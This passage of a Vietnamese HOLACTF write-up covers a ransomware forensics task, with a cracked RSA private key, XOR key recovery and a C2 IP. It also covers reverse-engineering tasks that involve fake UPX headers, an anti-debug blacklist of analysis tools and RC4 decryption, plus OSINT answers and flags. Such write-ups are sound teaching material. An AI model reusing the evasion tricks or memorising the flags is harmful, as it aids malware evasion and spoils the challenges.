07:17:d8:30:0f:08:9e:40:c9:34:94:1a:16:2f:21:37:78:c9:
bb:b8:d0:93:13:2f:60:40:e4:8a:ab:32:7f:1c:da:75:ad:17:
cd:21:44:07:0e:4e:2c:5a:6e:9f:70:b1:b0:cc:50:40:1d:65:
11:a7:88:8d:c7:f8:4e:6d:ed:20:c1:e2:d3:47:94:3d:a2:33:
bd:2a:35:fe:8a:09:42:7c:7d:ce:60:58:85:e0:bf:69:30:ed:
32:96:96:88:83:49:a2:0b:a9:0c:01:80:e1:15:12:8c:90:2c:
24:de:20:10:ec:80:a7:d2:8b:52:ee:33:6c:3e:65:a5:93:66:
e6:e7
```
Dùng RSAtool
```
python RsaCtfTool/src/RsaCtfTool/main.py --publickey ../public.cer --private
Results for ../public.cer:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCOZ5wvXkT/j1cPCeqn6nZIWWHbUMbSuIbm3cwRG8p9xUaN9r73
ALWgqhzHaAwWEAiQjit8vdmVFROHteaDUoBu2emKqXHcPq6IqVsbkt0pcrHX0Qo+
kVDBABWw22+GvUnpT365smOODbojoAQwAAAAAAAAAAAAAAAAAAAAAil+IwIDAQAB
AoGAFDXGJ77UQgTA0USSBfSzhr8QsUR8gylnE9rEfGUaTtExmzI6lemG3V9nKDGv
DW6HGKTkrRZwi8Tq+aaqKVcLHPokNoLqCTGIIxzTG1KMh6ncHcEt2LjIau9XZAmH
/pYbOUUZCZ10VXV2knn4XtApL9bQKS/W0Ckv1tApL9cerxkCQQC+7vtYSv+GA6r7
VQ/6z9j6XKR+T4jUU3Eny9L+YhRfCEVEtlM1UVW2r5nUCuQAAAAAAAAAAAAAAAAA
AAAAAA9XAkEAvu77WEr/hgOq+1UP+s/Y+lykfk+I1FNxJ8vS/mIUXwhFRLZTNVFV
tq+Z1ArkAAAAAAAAAAAAAAAAAAAAAAAkFQJBAIpCge2IuYnw5AKFsUGc+vEo3tC8
hUfDeKApv4sHuNqsIYTFRnHIiPn2JL1geYPqfBWD6nwVg+p8FYPqfBWD9ZcCQBjJ
dZ/UvK9tMnlGZbit2wFFnaU4Ng86deowr8eOfA6KSFPPR6YYVQROb63za/4EAfv+
BAH7/gQB+/4EAfv+CLECQFkQ/IbcTsugzporrmibrWMkqLgTphVUVq1F3YGoA9BY
FSCVRINF5585CYRrevEN+y3M5Xvm7il2HeQJpGY1D1o=
-----END RSA PRIVATE KEY-----
```
rồi giờ thì vào wireshark : Edit->Preference-> Protocol->TLS-> RSA key list -> import private key vào

payload sau giả mã
```
┌──(thong㉿DESKTOP-SD4MBKE)-[/mnt/c/users/tttho/downloads/rsatool]
└─$ ls -la ../package/
total 8
drwxrwxrwx 1 thong thong 512 Aug 31 11:59 .
drwxrwxrwx 1 thong thong 512 Aug 31 14:36 ..
-rwxrwxrwx 1 thong thong 256 Aug 30 02:46 kita.key
-rwxrwxrwx 1 thong thong 7218 Aug 30 02:48 original_files.txt
```
đọc file original_files.txt -> file video.mp4
vậy làm sao giải mã lấy key ban đầu tôi thử tìm file video.mp4 xem còn trong fs thật nó vẫn còn được lưu trong folder vmware temp :))
tôi sẽ xor cipher ^ plaintext -> key (và cũng do tôi không thể dùng cách cũ để crack privatekey từ publickey nên tôi không thể resolve lại được key ban đầu khá bối rối trong giai đoạn này)
dùng key để decrypt các file còn lại


chương trình decryption folder decrypt 5 folder ban đầu đc truyền vào main code nhé
check
```
file evidenceeeee/*
evidenceeeee/dec_files/TYTUTtTtkPuXsZaiwiKa.dec: ASCII text, with no line terminators
┌──(thong㉿DESKTOP-SD4MBKE)-[/mnt/c/users/tttho/downloads]
└─$ cat evidenceeeee/dec_files/TYTUTtTtkPuXsZaiwiKa.dec
Nice bro, answer the remaining questions to get the flag ^^
┌──(thong㉿DESKTOP-SD4MBKE)-[/mnt/c/users/tttho/downloads]
└─$ md5sum evidenceeeee/dec_files/TYTUTtTtkPuXsZaiwiKa.dec
0e2c58ea5f51647dc2f81a03b43b6580 evidenceeeee/dec_files/TYTUTtTtkPuXsZaiwiKa.dec
```
#### Đáp án cho 7,8,9
>Q7: In stage 3, which C2 IP address is the user's network traffic transmit to?
Ex: 192.168.1.1
Ans: 192.168.244.129
Correct!
Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ?
Ex: ehc.mp3
Ans: video.mp4
Correct!
Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit)
Ex: 4a34decdd3494446ff0546364aa975b5
Ans: 0e2c58ea5f51647dc2f81a03b43b6580
Correct! Here is your flag:
HOLACTF{dUN6_BA0_9I0_CI1ck_V40_5traN63_f11e_Nhe_4huhu_5e740da065a1}
## Reverse
### RE102

- Ở bài này mình nhận được một file `ELF64`, khi mình đưa vào IDA để decomple thì dường như nó đã bị pack. Tiếp tục mình xem phần string thì nó có 2 dòng sau.

- Lúc này mình nghi ngờ nó bị pack lại bời UPX. Nhưng khi mình check bằng DIE thì chả thấy gì.
- Đến khi mình vứt vào HxD để xem cấu trúc header của file thì mình có thấy nó giống cấu trúc của file ELF bị pack bởi UPX. Và thông thường signature UPX! sẽ bắt đầu từ 0xEC -> 0xEF nhưng nó bị thay thế bời FAKE. Đây là phần thông tin về kỹ thuật này.
https://www.akamai.com/blog/security/upx-packed-headaches

- Từ đó mình sẽ thay thế toàn bộ `FAKE -> UPX!`
- Sau khi unpack thì mình đã có một đoạn mã đẹp.
```c=
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
const char *v4; // rax
char s2[8]; // [rsp+14h] [rbp-1Ch] BYREF
int v7; // [rsp+1Ch] [rbp-14h]
int v8; // [rsp+20h] [rbp-10h]
int j; // [rsp+24h] [rbp-Ch]
int i; // [rsp+28h] [rbp-8h]
int v11; // [rsp+2Ch] [rbp-4h]
signal(5, handle_security_violation);
v3 = time(0);
srand(v3);
puts("SecureSoft Enterprise License Management System v4.7.2");
puts("Copyright (c) 2024 SecureSoft Technologies Inc.");
puts("Initializing secure authentication protocols...\n");
initialize_logging_system();
v11 = 0;
v8 = verify_database_connection();
v7 = validate_license_server();
perform_system_maintenance();
if ( check_debugger_presence() )
{
++v11;
puts("Warning: Debugger environment detected");
}
configure_user_settings();
for ( i = 0; i <= 4; ++i )
{
usleep(0xC350u);
printf("Loading security module %d/5...\n", i + 1);
}
if ( validate_system_integrity() )
{
++v11;
puts("Warning: System integrity compromised");
}
if ( measure_execution_timing() )
{
++v11;
puts("Warning: Abnormal execution timing detected");
}
printf("Database connections: %d\n", g_database_connections);
if ( g_network_status )
v4 = "Online";
else
v4 = "Offline";
printf("Network status: %s\n", v4);
printf("Encryption level: %d bits\n", g_encryption_level % 512 + 128);
if ( scan_parent_process() )
{
++v11;
puts("Warning: Suspicious parent process detected");
}
if ( v11 <= 0 )
{
puts("System integrity verified. Proceeding with license validation...");
if ( argc == 2 )
{
printf("Validating license key: %s\n", argv[1]);
strcpy(s2, "reverse");
if ( !strcmp(argv[1], s2) )
{
puts("License key accepted. Connecting to activation servers...");
for ( j = 0; j <= 2; ++j )
{
usleep(0x30D40u);
printf("Authenticating with server %d...\n", j + 1);
}
if ( activate_premium_subscription() )
{
puts("All systems operational. Welcome to SecureSoft Enterprise!");
return 0;
}
else
{
puts("Server authentication failed. Switching to educational mode.");
launch_educational_version();
return 1;
}
}
else
{
puts("Invalid license key provided. Starting demo session.");
start_demo_session();
return 1;
}
}
else
{
printf("Usage: %s <license_key>\n", *argv);
puts("Contact support@securesoft.com for license activation.");
return 1;
}
}
else
{
printf("Security policy violations detected (%d). Entering safe mode.\n", v11);
printf("Trial access granted: %s\n", trial_subscription);
return 0;
}
}
```
- Và đây chính là đoạn chính xử lý flag.
```c=
__int64 activate_premium_subscription()
{
_BYTE v1[16]; // [rsp+0h] [rbp-70h] BYREF
_BYTE v2[16]; // [rsp+10h] [rbp-60h] BYREF
_BYTE v3[72]; // [rsp+20h] [rbp-50h] BYREF
int v4; // [rsp+68h] [rbp-8h]
int v5; // [rsp+6Ch] [rbp-4h]
initialize_network_protocols(&database_connection_string, v2, 16);
initialize_network_protocols(&api_authentication_token, v1, 16);
v5 = process_encrypted_subscription(&premium_subscription_data, 32, v2, v1, v3);
if ( v5 <= 0 )
return 0;
v4 = v3[v5 - 1];
v3[v5 - v4] = 0;
puts("Premium subscription activated! Access granted.");
return 1;
}
```
- Hai đoạn mã call hàm đầu tiên là nơi xử lý Key và IV. Nó sẽ lấy `database_connection_string` và `api_authentication_token` XOR 0x5A.
```c=
__int64 __fastcall initialize_network_protocols(__int64 a1, __int64 a2, int a3)
{
__int64 result; // rax
unsigned int i; // [rsp+20h] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
*(i + a2) = *(i + a1) ^ 0x5A;
}
return result;
}
```
> - Key: MySecretKey12345
> - IV: 1234567890123456
- Sau đó nó sẽ đưa vào hàm này để giải mã flag với key và IV trên.
- Mình sẽ dump data của `premium_subscription_data` để giải mã.
- Flag sẽ có format là ***HOLACTF{hex}***
> **FLAG:** HOLACTF{1b0b403ac790763ba5218d13801aa4e801c5947d4d25705006e5c603b08807f2}
### RE103

- Bài này mình nhận được một file .NET antidebug khá nặng.

- Ví dụ như tại đây nó đang check proccess xem ta có đang dùng các phần mềm trong list này không nếu có sẽ bị gắn cờ debug và chạy sang một luồng khác và print ra fake flag.
```csharp=
// Token: 0x06000006 RID: 6 RVA: 0x000023E4 File Offset: 0x000005E4
private static void ValidateExecutionEnvironment()
{
string[] array = new string[]
{
"ollydbg", "x64dbg", "ida", "ghidra", "radare2", "cheatengine", "processhacker", "procmon", "wireshark", "fiddler",
"dnspy", "reflexil", "ilspy", "dotpeek", "justdecompile"
};
try
{
Process[] processes = Process.GetProcesses();
Process[] array2 = processes;
for (int i = 0; i < array2.Length; i++)
{
Process process = array2[i];
string processName = process.ProcessName.ToLower();
if (array.Any((string forbidden) => processName.Contains(forbidden)))
{
NetworkConfigurationManager.LaunchSystemDiagnosticUtility();
Environment.Exit(0);
}
}
}
catch
{
}
}
```
- Và có môt vài trường hợp antidebug khác, nhưng lúc này mình có thấy một điểm khá đáng ngờ.

- Liệu các data này nó có chức năng gì. Mình sẽ truy ngược nơi sử dụng `g_lpCriticalSystemData`.
```csharp=
private static string DecryptProtectedData()
{
string text;
try
{
byte[] array = NetworkConfigurationManager.ReconstructCipherKey();
byte[] array2 = NetworkConfigurationManager.ProcessDataWithCipher(NetworkConfigurationManager.g_lpCriticalSystemData, array);
string @string = Encoding.UTF8.GetString(array2);
if (!@string.StartsWith("HOLACTF{"))
{
throw new InvalidOperationException("Data integrity validation failed");
}
text = @string;
}
catch
{
text = NetworkConfigurationManager.GetFallbackResponse();
}
return text;
}
```
- Tại đây nó sec call `ProcessDataWithCipher(cipher, key)` để giải mã và check xem output có bắt đầu bằng format flag hay không nếu bắt đầu bằng ***HOLACTF{}*** thì return về chuỗi đó và print ra màn hình.
- Mình đã có cipher và key sẽ được gen thông qua hàm `ReconstructCipherKey()`.
```csharp=
private static byte[] ReconstructCipherKey()
{
byte[] array = new byte[NetworkConfigurationManager.g_bSecurityToken1.Length + NetworkConfigurationManager.g_bSecurityToken2.Length];
for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken1.Length; i++)
{
array[i] = NetworkConfigurationManager.g_bSecurityToken1[i] ^ NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length];
array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1);
byte[] array2 = array;
int num = i;
array2[num] ^= NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length];
array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1);
}
for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken2.Length; i++)
{
array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = NetworkConfigurationManager.g_bSecurityToken2[i] ^ NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length];
array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2);
byte[] array3 = array;
int num2 = NetworkConfigurationManager.g_bSecurityToken1.Length + i;
array3[num2] ^= NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length];
array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2);
}
return array;
}
```
- Đây là hàm gen key nhìn nó rất dài dòng nhưng thật ra nó chả thay đổi gì và ***`key = g_bSecurityToken1 + g_bSecurityToken2`***
- Vậy mình đã có đủ key và cipher. Thuật toán ở đây là gì ?
```csharp=
private static byte[] ProcessDataWithCipher(byte[] inputData, byte[] cipherKey)
{
byte[] array = new byte[256];
for (int i = 0; i < 256; i++)
{
array[i] = (byte)i;
}
int num = 0;
for (int i = 0; i < 256; i++)
{
num = (num + (int)array[i] + (int)cipherKey[i % cipherKey.Length]) % 256;
byte b = array[i];
array[i] = array[num];
array[num] = b;
}
byte[] array2 = new byte[inputData.Length];
int num2 = 0;
int num3 = 0;
for (int i = 0; i < inputData.Length; i++)
{
num2 = (num2 + 1) % 256;
num3 = (num3 + (int)array[num2]) % 256;
byte b = array[num2];
array[num2] = array[num3];
array[num3] = b;
array2[i] = inputData[i] ^ array[(int)(array[num2] + array[num3]) % 256];
}
return array2;
}
```
- Nó chính là RC4. Bây giờ mình sẽ giải mã và lấy output là hex.
> FLAG: ***HOLACTF{hex(output)}***
**Cipher:** 87 74 2b cd f2 db a2 99 27 56 97 23 a9 48 db 06 e8 83 15 d3 78 7d 4f 5d 0b e9 33 92 41 b6 b1 68 9a 7b 1d 73 d4 6d 85 10
**Key:** 5f 60 7d 76 75 7e 72 7d 7e 76

**FLAG:** **HOLACTF{745d40e06ec4ab2f33d11cd84215f62cd4b2e2705c0428df0249db3370bbc8a3990447771481ba85}**
## OSINT
### EHC is my family

DDC -> VKU
Flag: HOLACTF{truong_dai_hoc_cong_nghe_thong_tin_va_truyen_thong_viet_han}
### HolaCTF

Đề cho mình poster của HOLACTF 2023, nên mình sẽ tìm thông tin về giải này. Search facebook 1 hồi thì mình tìm được 1 comment sau dưới bài post của HOLACTF 2023

Có thể thấy rõ đây là vigenere cipher với key khả thi là 1 trong 3 hashtag ở trên, mình decode với `dcode.fr`:

https://www.instagram.com/p/DFnlEkyTgBn/
Đường link trên dẫn mình đến 1 video, khi phát video được tầm 2-3s thì mình để ý dưới góc phải của video

https://anhshidou.github.io/
Truy cập vào link github pages, ctrl u để xem html source trước

Phát hiện 1 domain là `ctf.fumosquad-ehc.xyz`
Ban đầu mình thử `waybackmachine` nhưng k được, dùng `dig` với parameter TXT để lấy TXT record của domain:

Flag: `HOLACTF{t01_d4_c0_g4ng_r4_d3_r0i}`